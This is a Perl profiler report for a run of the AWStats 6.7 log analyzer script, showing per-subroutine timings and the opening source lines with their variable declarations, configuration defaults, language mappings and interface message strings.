← Index
Performance Profile   « block view • line view • sub view »
For ./awstats.pl
  Run on Wed Feb 11 19:11:27 2009
Reported on Thu Feb 12 02:07:44 2009

Fileawstats.pl
Statements Executed80837293
Total Time230.053730880589 seconds

Subroutines — ordered by exclusive time
Calls P F Exclusive
Time		 Inclusive
Time		 Subroutine
17957561141.2856241.28562main::OnlyFile
2210.098200.09820main::Lock_Update
1110.076150.13921main::Read_Plugins
1110.054990.05499main::Read_Ref_Data
1110.026030.02603main::Read_Language_Data
1110.021570.02157main::Parse_Config
1110.007620.00767main::Rename_All_Tmp_History
2210.000610.00061main::Init_HashArray
1110.000450.00052main::Check_Config
101010.000440.00044main::OptimizeArray
1110.000130.00013main::DefinePerlParsingFormat
1110.000120.02169main::Read_Config
2218.5e-58.5e-5main::file_filt
1116.9e-56.9e-5main::Substitute_Tags
1115.1e-55.1e-5main::Check_Plugin_Version
1114.7e-54.7e-5main::GetDelaySinceStart
2213.2e-53.2e-5main::debug
1113.1e-53.1e-5main::CleanXSS
1112.2e-52.2e-5main::Sanitize
1112.1e-52.1e-5main::html_head
00000main::AddInTree
00000main::AltTitle
00000main::AtLeastOneNotNull
00000main::BuildKeyList
00000main::ChangeWordSeparatorsIntoSpace
00000main::CheckSum
00000main::CleanFromTags
00000main::CleanNewLinkParamsFrom
00000main::Convert_IP_To_Decimal
00000main::DateIsValid
00000main::DayOfWeek
00000main::DecodeEncodedString
00000main::EncodeString
00000main::FileCopy
00000main::Format_Bytes
00000main::Format_Date
00000main::Format_Number
00000main::GetSessionRange
00000main::IsAscii
00000main::IsLocalEMail
00000main::MinimumButNoZero
00000main::NotPageFile
00000main::OnlyHost
00000main::OnlyUserAgent
00000main::Read_DNS_Cache
00000main::Read_History_With_TmpUpdate
00000main::Removelowerval
00000main::Save_DNS_Cache_File
00000main::Save_History
00000main::ShowClusterInfo
00000main::ShowEmailReceiversChart
00000main::ShowEmailSendersChart
00000main::ShowFormFilter
00000main::ShowHostInfo
00000main::ShowMenuCateg
00000main::ShowURLInfo
00000main::ShowUserInfo
00000main::Show_Flag_Links
00000main::SigHandler
00000main::SkipDNSLookup
00000main::SkipFile
00000main::SkipHost
00000main::SkipReferrer
00000main::SkipUserAgent
00000main::Tooltip
00000main::UnCompileRegex
00000main::XMLEncode
00000main::XMLEncodeForHisto
00000main::error
00000main::html_end
00000main::http_head
00000main::tab_end
00000main::tab_head
00000main::warning

LineStmts.Exclusive
Time		Avg.Code
1#!/usr/bin/perl
2#------------------------------------------------------------------------------
3# Free realtime web server logfile analyzer to show advanced web statistics.
4# Works from command line or as a CGI. You must use this script as often as
5# necessary from your scheduler to update your statistics and from command
6# line or a browser to read report results.
7# See AWStats documentation (in docs/ directory) for all setup instructions.
8#------------------------------------------------------------------------------
9# $Revision: 1.892 $ - $Author: eldy $ - $Date: 2007/07/07 11:00:05 $
1015.0e-65.0e-6require 5.005;
11
12#$|=1;
13#use warnings; # Must be used in test mode only. This reduce a little process speed
14#use diagnostics; # Must be used in test mode only. This reduce a lot of process speed
1560.000559.1e-5use strict;no strict "refs";
# spent 31µs making 1 call to strict::unimport # spent 15µs making 1 call to strict::import
1630.034500.01150use Time::Local; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
# spent 78µs making 1 call to Exporter::import
1730.000750.00025use Socket;
# spent 2.46ms making 1 call to Exporter::import
18
19
20#------------------------------------------------------------------------------
21# Defines
22#------------------------------------------------------------------------------
2330.000175.7e-5use vars qw/ $REVISION $VERSION /;
# spent 114µs making 1 call to vars::import
2432.0e-56.7e-6$REVISION='$Revision: 1.892 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1;
2514.0e-64.0e-6$VERSION="6.7 (build $REVISION)";
26
27# ----- Constants -----
28use vars qw/
# spent 260µs making 1 call to vars::import
29$DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE
30$LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE
31$WIDTHCOLICON $TOOLTIPON
32$lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate
3330.000196.4e-5/;
3412.0e-62.0e-6$DEBUGFORCED=0; # Force debug level to log lesser level into debug.log file (Keep this value to 0)
3512.0e-62.0e-6$NBOFLINESFORBENCHMARK=8192; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2)
3611.0e-61.0e-6$FRAMEWIDTH=240; # Width of left frame when UseFramesWhenCGI is on
3711.0e-61.0e-6$NBOFLASTUPDATELOOKUPTOSAVE=500; # Nb of records to save in DNS last update cache file
38100$LIMITFLUSH=5000; # Nb of records in data arrays after how we need to flush data on disk
39100$NEWDAYVISITTIMEOUT=764041; # Delay between 01-23:59:59 and 02-00:00:00
4011.0e-61.0e-6$VISITTIMEOUT=10000; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000)
4111.0e-61.0e-6$NOTSORTEDRECORDTOLERANCE=20000; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000)
4211.0e-61.0e-6$WIDTHCOLICON=32;
4311.0e-61.0e-6$TOOLTIPON=0; # Tooltips plugin loaded
44# ----- Running variables -----
45use vars qw/
# spent 1.25ms making 1 call to vars::import
46$DIR $PROG $Extension
47$Debug $ShowSteps
48$DebugResetDone $DNSLookupAlreadyDone
49$RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent
50$LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate
51$lowerval
52$PluginMode
53$TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown
54$TotalPages $TotalHits $TotalBytes
55$TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes
56$TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages
57$TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords
58$TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer
59$FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired
60$QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent
61$pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size
62$pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken
63$pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra
6430.000350.00012/;
6513.0e-63.0e-6$DIR=$PROG=$Extension='';
6611.0e-61.0e-6$Debug = $ShowSteps = 0;
6712.0e-62.0e-6$DebugResetDone = $DNSLookupAlreadyDone = 0;
6812.0e-62.0e-6$RunAsCli = $UpdateFor = $HeaderHTTPSent = $HeaderHTMLSent = 0;
6912.0e-62.0e-6$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = $LastUpdate = 0;
7011.0e-61.0e-6$lowerval = 0;
7112.0e-62.0e-6$PluginMode = '';
7212.0e-62.0e-6$TotalUnique = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0;
7311.0e-61.0e-6$TotalPages = $TotalHits = $TotalBytes = 0;
7412.0e-62.0e-6$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
7511.0e-61.0e-6$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0;
7611.0e-61.0e-6$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = $TotalDifferentKeywords = 0;
7712.0e-62.0e-6$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = $TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0;
7818.0e-68.0e-6($FrameName, $Center, $FileConfig, $FileSuffix, $Host, $YearRequired, $MonthRequired, $DayRequired, $HourRequired,
79$QueryString, $SiteConfig, $StaticLinks, $PageCode, $PageDir, $PerlParsingFormat, $UserAgent)=
80('','','','','','','','','','','','','','','','');
81# ----- Plugins variable -----
8239.0e-53.0e-5use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /;
# spent 78µs making 1 call to vars::import
8312.0e-62.0e-6%PluginsLoaded=();
8411.0e-61.0e-6$PluginDir='';
8511.0e-61.0e-6$AtLeastOneSectionPlugin=0;
86# ----- Time vars -----
87use vars qw/
# spent 295µs making 1 call to vars::import
88$starttime
89$nowtime $tomorrowtime
90$nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear
91$nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns
92$StartSeconds $StartMicroseconds
9335.9e-52.0e-5/;
9412.0e-62.0e-6$StartSeconds=$StartMicroseconds=0;
95# ----- Variables for config file reading -----
96use vars qw/
# spent 33µs making 1 call to vars::import
97$FoundNotPageList
9836.8e-52.3e-5/;
9911.0e-61.0e-6$FoundNotPageList=0;
100# ----- Config file variables -----
101use vars qw/
# spent 261µs making 1 call to vars::import
102$StaticExt
103$DNSStaticCacheFile
104$DNSLastUpdateCacheFile
105$MiscTrackerUrl
106$Lang
107$MaxRowsInHTMLOutput
108$MaxLengthOfShownURL
109$MaxLengthOfStoredURL
110$MaxLengthOfStoredUA
111%BarPng
112$BuildReportFormat
113$BuildHistoryFormat
114$ExtraTrackedRowsLimit
115$DatabaseBreak
116$SectionsToBeSaved
11730.000237.5e-5/;
11812.0e-62.0e-6$StaticExt='html';
11911.0e-61.0e-6$DNSStaticCacheFile='dnscache.txt';
12011.0e-61.0e-6$DNSLastUpdateCacheFile='dnscachelastupdate.txt';
12112.0e-62.0e-6$MiscTrackerUrl='/js/awstats_misc_tracker.js';
12211.0e-61.0e-6$Lang='auto';
12312.0e-62.0e-6$SectionsToBeSaved='all';
12411.0e-61.0e-6$MaxRowsInHTMLOutput=1000;
12511.0e-61.0e-6$MaxLengthOfShownURL=64;
12611.0e-61.0e-6$MaxLengthOfStoredURL=256; # Note: Apache LimitRequestLine is default to 8190
12711.0e-61.0e-6$MaxLengthOfStoredUA=256;
12811.6e-51.6e-5%BarPng=('vv'=>'vv.png','vu'=>'vu.png','hu'=>'hu.png','vp'=>'vp.png','hp'=>'hp.png',
129'he'=>'he.png','hx'=>'hx.png','vh'=>'vh.png','hh'=>'hh.png','vk'=>'vk.png','hk'=>'hk.png');
13011.0e-61.0e-6$BuildReportFormat='html';
13111.0e-61.0e-6$BuildHistoryFormat='text';
13211.0e-61.0e-6$ExtraTrackedRowsLimit=500;
13311.0e-61.0e-6$DatabaseBreak='month';
134use vars qw/
# spent 612µs making 1 call to vars::import
135$DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly
136$BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles
137$NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfOldLines $NbOfNewLines
138$NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords
139$ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowLinksToWhoIs
140$ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats
141$ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats
142$IncludeInternalLinksInOriginSection
143$AuthenticatedUsersNotCaseSensitive
144$Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery
145$DecodeUA
14630.000258.3e-5/;
14711.1e-51.1e-5($DebugMessages, $AllowToUpdateStatsFromBrowser, $EnableLockForUpdate, $DNSLookup, $AllowAccessFromWebToAuthenticatedUsersOnly,
148$BarHeight, $BarWidth, $CreateDirDataIfNotExists, $KeepBackupOfHistoricFiles,
149$NbOfLinesParsed, $NbOfLinesDropped, $NbOfLinesCorrupted, $NbOfOldLines, $NbOfNewLines,
150$NbOfLinesShowsteps, $NewLinePhase, $NbOfLinesForCorruptedLog, $PurgeLogFile, $ArchiveLogRecords,
151$ShowDropped, $ShowCorrupted, $ShowUnknownOrigin, $ShowLinksToWhoIs,
152$ShowAuthenticatedUsers, $ShowFileSizesStats, $ShowScreenSizeStats, $ShowSMTPErrorsStats,
153$ShowEMailSenders, $ShowEMailReceivers, $ShowWormsStats, $ShowClusterStats,
154$IncludeInternalLinksInOriginSection,
155$AuthenticatedUsersNotCaseSensitive,
156$Expires, $UpdateStats, $MigrateStats, $URLNotCaseSensitive, $URLWithQuery, $URLReferrerWithQuery,
157$DecodeUA)=
158(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
159use vars qw/
# spent 487µs making 1 call to vars::import
160$DetailedReportsOnNewWindows
161$FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone
162$WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI
163$ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats
164$ShowHoursStats $ShowDomainsStats $ShowHostsStats
165$ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats
166$ShowOSStats $ShowBrowsersStats $ShowOriginStats
167$ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats
168$AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats
16930.000175.8e-5/;
17019.0e-69.0e-6($DetailedReportsOnNewWindows,
171$FirstDayOfWeek, $KeyWordsNotSensitive, $SaveDatabaseFilesWithPermissionsForEveryone,
172$WarningMessages, $ShowLinksOnUrl, $UseFramesWhenCGI,
173$ShowMenu, $ShowSummary, $ShowMonthStats, $ShowDaysOfMonthStats, $ShowDaysOfWeekStats,
174$ShowHoursStats, $ShowDomainsStats, $ShowHostsStats,
175$ShowRobotsStats, $ShowSessionsStats, $ShowPagesStats, $ShowFileTypesStats,
176$ShowOSStats, $ShowBrowsersStats, $ShowOriginStats,
177$ShowKeyphrasesStats, $ShowKeywordsStats, $ShowMiscStats, $ShowHTTPErrorsStats,
178$AddDataArrayMonthStats, $AddDataArrayShowDaysOfMonthStats, $AddDataArrayShowDaysOfWeekStats, $AddDataArrayShowHoursStats
179)=
180(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1);
181use vars qw/
# spent 153µs making 1 call to vars::import
182$AllowFullYearView
183$LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze
184$LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection
18530.000123.8e-5/;
18613.0e-63.0e-6($AllowFullYearView,
187$LevelForRobotsDetection, $LevelForWormsDetection, $LevelForBrowsersDetection, $LevelForOSDetection, $LevelForRefererAnalyze,
188$LevelForFileTypesDetection, $LevelForSearchEnginesDetection, $LevelForKeywordsDetection)=
189(2,2,0,2,2,2,2,2,2);
190use vars qw/
# spent 425µs making 1 call to vars::import
191$DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName
192$AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs
193$LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain
194$UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks
19530.000196.2e-5/;
19611.4e-51.4e-5($DirLock, $DirCgi, $DirConfig, $DirData, $DirIcons, $DirLang, $AWScript, $ArchiveFileName,
197$AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection, $HTMLEndSection, $LinksToWhoIs, $LinksToIPWhoIs,
198$LogFile, $LogType, $LogFormat, $LogSeparator, $Logo, $LogoLink, $StyleSheet, $WrapperScript, $SiteDomain,
199$UseHTTPSLinkForUrl, $URLQuerySeparators, $URLWithAnchor, $ErrorMessages, $ShowFlagLinks)=
200('','','','','','','','','','','','','','','','','','','','','','','','','','','');
201use vars qw/
# spent 343µs making 1 call to vars::import
202$color_Background $color_TableBG $color_TableBGRowTitle
203$color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle
204$color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other
205$color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v
20630.000175.7e-5/;
20719.0e-69.0e-6($color_Background, $color_TableBG, $color_TableBGRowTitle,
208$color_TableBGTitle, $color_TableBorder, $color_TableRowTitle, $color_TableTitle,
209$color_text, $color_textpercent, $color_titletext, $color_weekend, $color_link, $color_hover, $color_other,
210$color_h, $color_k, $color_p, $color_e, $color_x, $color_s, $color_u, $color_v)=
211('','','','','','','','','','','','','','','','','','','','','','');
212# ---------- Init arrays --------
213use vars qw/
# spent 459µs making 1 call to vars::import
214@RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen
215@SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen
216@BrowsersSearchIDOrder @OSSearchIDOrder @WordsToExtractSearchUrl @WordsToCleanSearchUrl
217@WormsSearchIDOrder
218@RobotsSearchIDOrder @SearchEnginesSearchIDOrder
219@_from_p @_from_h
220@_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k
221@DOWIndex @fieldlib @keylist
22230.000350.00012/;
22312.0e-62.0e-6@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = ();
22412.0e-62.0e-6@_from_p = @_from_h = ();
22513.0e-63.0e-6@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = ();
22611.0e-61.0e-6@DOWIndex = @fieldlib = @keylist = ();
227use vars qw/
# spent 755µs making 1 call to vars::import
228@MiscListOrder %MiscListCalc
229%OSFamily %BrowsersFamily @SessionsRange %SessionsAverage
230%LangBrowserToLangAwstats %LangAWStatsToFlagAwstats
231@HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers
232@DefaultFile @SkipDNSLookupFor
233@SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles
234@OnlyHosts @OnlyUserAgents @OnlyFiles
235@URLWithQueryWithOnly @URLWithQueryWithout
236@ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra
237@ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat
238@ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal
239@ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal
240@ExtraAddAverageRow @ExtraAddSumRow
241@PluginsToLoad
24230.000560.00019/;
24316.0e-66.0e-6@MiscListOrder=('AddToFavourites','JavascriptDisabled','JavaEnabled','DirectorSupport','FlashSupport','RealPlayerSupport','QuickTimeSupport','WindowsMediaPlayerSupport','PDFSupport');
24411.2e-51.2e-5%MiscListCalc=('TotalMisc'=>'','AddToFavourites'=>'u','JavascriptDisabled'=>'hm','JavaEnabled'=>'hm','DirectorSupport'=>'hm','FlashSupport'=>'hm','RealPlayerSupport'=>'hm','QuickTimeSupport'=>'hm','WindowsMediaPlayerSupport'=>'hm','PDFSupport'=>'hm');
24517.0e-67.0e-6%OSFamily=('win'=>'Windows','mac'=>'Macintosh','linux'=>'Linux','bsd'=>'BSD');
24615.0e-65.0e-6%BrowsersFamily=('msie'=>1,'firefox'=>2,'netscape'=>3,'svn'=>4);
24714.0e-64.0e-6@SessionsRange=('0s-30s','30s-2mn','2mn-5mn','5mn-15mn','15mn-30mn','30mn-1h','1h+');
24817.0e-67.0e-6%SessionsAverage=('0s-30s',15,'30s-2mn',75,'2mn-5mn',210,'5mn-15mn',600,'15mn-30mn',1350,'30mn-1h',2700,'1h+',3600);
249# HTTP-Accept or Lang parameter => AWStats code to use for lang
250# ISO-639-1 or 2 or other => awstats-xx.txt where xx is ISO-639-1
25114.5e-54.5e-5%LangBrowserToLangAwstats=(
252'sq'=>'al','ar'=>'ar','ba'=>'ba','bg'=>'bg','zh-tw'=>'tw','zh'=>'cn','cs'=>'cz',
253'de'=>'de','da'=>'dk',
254'en'=>'en','et'=>'et','fi'=>'fi','fr'=>'fr','gl'=>'gl',
255'es'=>'es','eu'=>'eu','ca'=>'ca',
256'el'=>'gr','hu'=>'hu','is'=>'is','in'=>'id','it'=>'it',
257'ja'=>'jp','kr'=>'ko','lv'=>'lv','nl'=>'nl','no'=>'nb','nb'=>'nb','nn'=>'nn',
258'pl'=>'pl','pt'=>'pt','pt-br'=>'br','ro'=>'ro','ru'=>'ru','sr'=>'sr','sk'=>'sk',
259'sv'=>'se','th'=>'th','tr'=>'tr','uk'=>'ua','cy'=>'cy','wlk'=>'cy'
260);
26119.0e-69.0e-6%LangAWStatsToFlagAwstats=( # If flag (country ISO-3166 two letters) is not same than AWStats Lang code
262'ca'=>'es_cat','et'=>'ee','eu'=>'es_eu',
263'cy'=>'wlk',
264'gl'=>'glg',
265'he'=>'il',
266'ko'=>'kr',
267'ar'=>'sa',
268'sr'=>'cs'
269);
27011.0e-61.0e-6@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers=();
27111.0e-61.0e-6@DefaultFile = @SkipDNSLookupFor = ();
27212.0e-62.0e-6@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = ();
27312.0e-62.0e-6@OnlyHosts = @OnlyUserAgents = @OnlyFiles = ();
27411.0e-61.0e-6@URLWithQueryWithOnly = @URLWithQueryWithout = ();
27512.0e-62.0e-6@ExtraName = @ExtraCondition = @ExtraStatTypes = @MaxNbOfExtra = @MinHitExtra = ();
27612.0e-62.0e-6@ExtraFirstColumnTitle = @ExtraFirstColumnValues = @ExtraFirstColumnFunction = @ExtraFirstColumnFormat = ();
27711.0e-61.0e-6@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
27812.0e-62.0e-6@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = ();
27911.0e-61.0e-6@ExtraAddAverageRow = @ExtraAddSumRow = ();
28011.0e-61.0e-6@PluginsToLoad = ();
281# ---------- Init hash arrays --------
282use vars qw/
# spent 340µs making 1 call to vars::import
283%BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers
284%DomainsHashIDLib
285%MimeHashLib %MimeHashIcon %MimeHashFamily
286%OSHashID %OSHashLib
287%RobotsHashIDLib %RobotsAffiliateLib
288%SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys
289%WormsHashID %WormsHashLib %WormsHashTarget
29039.3e-53.1e-5/;
291use vars qw/
# spent 485µs making 1 call to vars::import
292%HTMLOutput %NoLoadPlugin %FilterIn %FilterEx
293%BadFormatWarning
294%MonthNumLib
295%ValidHTTPCodes %ValidSMTPCodes
296%TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits
297%MaxNbOf %MinHit
298%ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile
299%val %nextval %egal
300%TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable
30130.000460.00015/;
30213.0e-63.0e-6%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = ();
30312.0e-62.0e-6%BadFormatWarning = ();
30411.0e-61.0e-6%MonthNumLib = ();
30512.0e-62.0e-6%ValidHTTPCodes = %ValidSMTPCodes = ();
30624.0e-62.0e-6%TrapInfosForHTTPErrorCodes=(); $TrapInfosForHTTPErrorCodes{404}=1; # TODO Add this in config file
30711.0e-61.0e-6%NotPageList=();
30812.0e-62.0e-6%DayBytes = %DayHits = %DayPages = %DayVisits = ();
30912.0e-62.0e-6%MaxNbOf = %MinHit = ();
31012.0e-62.0e-6%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = ();
31112.0e-62.0e-6%val = %nextval = %egal = ();
31213.0e-63.0e-6%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = %MyDNSTable = ();
313use vars qw/
# spent 1.47ms making 1 call to vars::import
314%FirstTime %LastTime
315%MonthHostsKnown %MonthHostsUnknown
316%MonthUnique %MonthVisits
317%MonthPages %MonthHits %MonthBytes
318%MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes
319%_session %_browser_h
320%_domener_p %_domener_h %_domener_k %_errors_h %_errors_k
321%_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out
322%_host_p %_host_h %_host_k %_host_l %_host_s %_host_u
323%_waithost_e %_waithost_l %_waithost_s %_waithost_u
324%_keyphrases %_keywords %_os_h %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r
325%_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h
326%_misc_p %_misc_h %_misc_k
327%_cluster_p %_cluster_h %_cluster_k
328%_se_referrals_p %_se_referrals_h %_sider404_h %_referer404_h %_url_p %_url_k %_url_e %_url_x
329%_unknownreferer_l %_unknownrefererbrowser_l
330%_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l
33130.000123.9e-5/;
33212.4e-52.4e-5&Init_HashArray();
# spent 319µs making 1 call to main::Init_HashArray
333# ---------- Init Regex --------
33430.000155.0e-5use vars qw/ $regclean1 $regclean2 $regdate /;
# spent 80µs making 1 call to vars::import
33517.0e-67.0e-6$regclean1=qr/<(recnb|\/td)>/i;
33613.0e-63.0e-6$regclean2=qr/<\/?[^<>]+>/i;
33712.0e-62.0e-6$regdate=qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/;
338
339# ---------- Init Tie::hash arrays --------
340# Didn't find a tie that increase speed
341#use Tie::StdHash;
342#use Tie::Cache::LRU;
343#tie %_host_p, 'Tie::StdHash';
344#tie %TmpOS, 'Tie::Cache::LRU';
345
346# PROTOCOL CODES
34734.7e-51.6e-5use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /;
# spent 72µs making 1 call to vars::import
348
349# DEFAULT MESSAGE
35030.445620.14854use vars qw/ @Message /;
# spent 34µs making 1 call to vars::import
35116.7e-56.7e-5@Message=(
352'Unknown',
353'Unknown (unresolved ip)',
354'Others',
355'View details',
356'Day',
357'Month',
358'Year',
359'Statistics for',
360'First visit',
361'Last visit',
362'Number of visits',
363'Unique visitors',
364'Visit',
365'different keywords',
366'Search',
367'Percent',
368'Traffic',
369'Domains/Countries',
370'Visitors',
371'Pages-URL',
372'Hours',
373'Browsers',
374'',
375'Referers',
376'Never updated (See \'Build/Update\' on awstats_setup.html page)',
377'Visitors domains/countries',
378'hosts',
379'pages',
380'different pages-url',
381'Viewed',
382'Other words',
383'Pages not found',
384'HTTP Error codes',
385'Netscape versions',
386'IE versions',
387'Last Update',
388'Connect to site from',
389'Origin',
390'Direct address / Bookmarks',
391'Origin unknown',
392'Links from an Internet Search Engine',
393'Links from an external page (other web sites except search engines)',
394'Links from an internal page (other page on same site)',
395'Keyphrases used on search engines',
396'Keywords used on search engines',
397'Unresolved IP Address',
398'Unknown OS (Referer field)',
399'Required but not found URLs (HTTP code 404)',
400'IP Address',
401'Error&nbsp;Hits',
402'Unknown browsers (Referer field)',
403'different robots',
404'visits/visitor',
405'Robots/Spiders visitors',
406'Free realtime logfile analyzer for advanced web statistics',
407'of',
408'Pages',
409'Hits',
410'Versions',
411'Operating Systems',
412'Jan',
413'Feb',
414'Mar',
415'Apr',
416'May',
417'Jun',
418'Jul',
419'Aug',
420'Sep',
421'Oct',
422'Nov',
423'Dec',
424'Navigation',
425'File type',
426'Update now',
427'Bandwidth',
428'Back to main page',
429'Top',
430'dd mmm yyyy - HH:MM',
431'Filter',
432'Full list',
433'Hosts',
434'Known',
435'Robots',
436'Sun',
437'Mon',
438'Tue',
439'Wed',
440'Thu',
441'Fri',
442'Sat',
443'Days of week',
444'Who',
445'When',
446'Authenticated users',
447'Min',
448'Average',
449'Max',
450'Web compression',
451'Bandwidth saved',
452'Compression on',
453'Compression result',
454'Total',
455'different keyphrases',
456'Entry',
457'Code',
458'Average size',
459'Links from a NewsGroup',
460'KB',
461'MB',
462'GB',
463'Grabber',
464'Yes',
465'No',
466'Info.',
467'OK',
468'Exit',
469'Visits duration',
470'Close window',
471'Bytes',
472'Search&nbsp;Keyphrases',
473'Search&nbsp;Keywords',
474'different refering search engines',
475'different refering sites',
476'Other phrases',
477'Other logins (and/or anonymous users)',
478'Refering search engines',
479'Refering sites',
480'Summary',
481'Exact value not available in "Year" view',
482'Data value arrays',
483'Sender EMail',
484'Receiver EMail',
485'Reported period',
486'Extra/Marketing',
487'Screen sizes',
488'Worm/Virus attacks',
489'Add to favorites (estimated)',
490'Days of month',
491'Miscellaneous',
492'Browsers with Java support',
493'Browsers with Macromedia Director Support',
494'Browsers with Flash Support',
495'Browsers with Real audio playing support',
496'Browsers with Quictime audio playing support',
497'Browsers with Windows Media audio playing support',
498'Browsers with PDF support',
499'SMTP Error codes',
500'Countries',
501'Mails',
502'Size',
503'First',
504'Last',
505'Exclude filter',
506'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
507'Cluster',
508'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
509'Numbers after + are successful hits on "robots.txt" files',
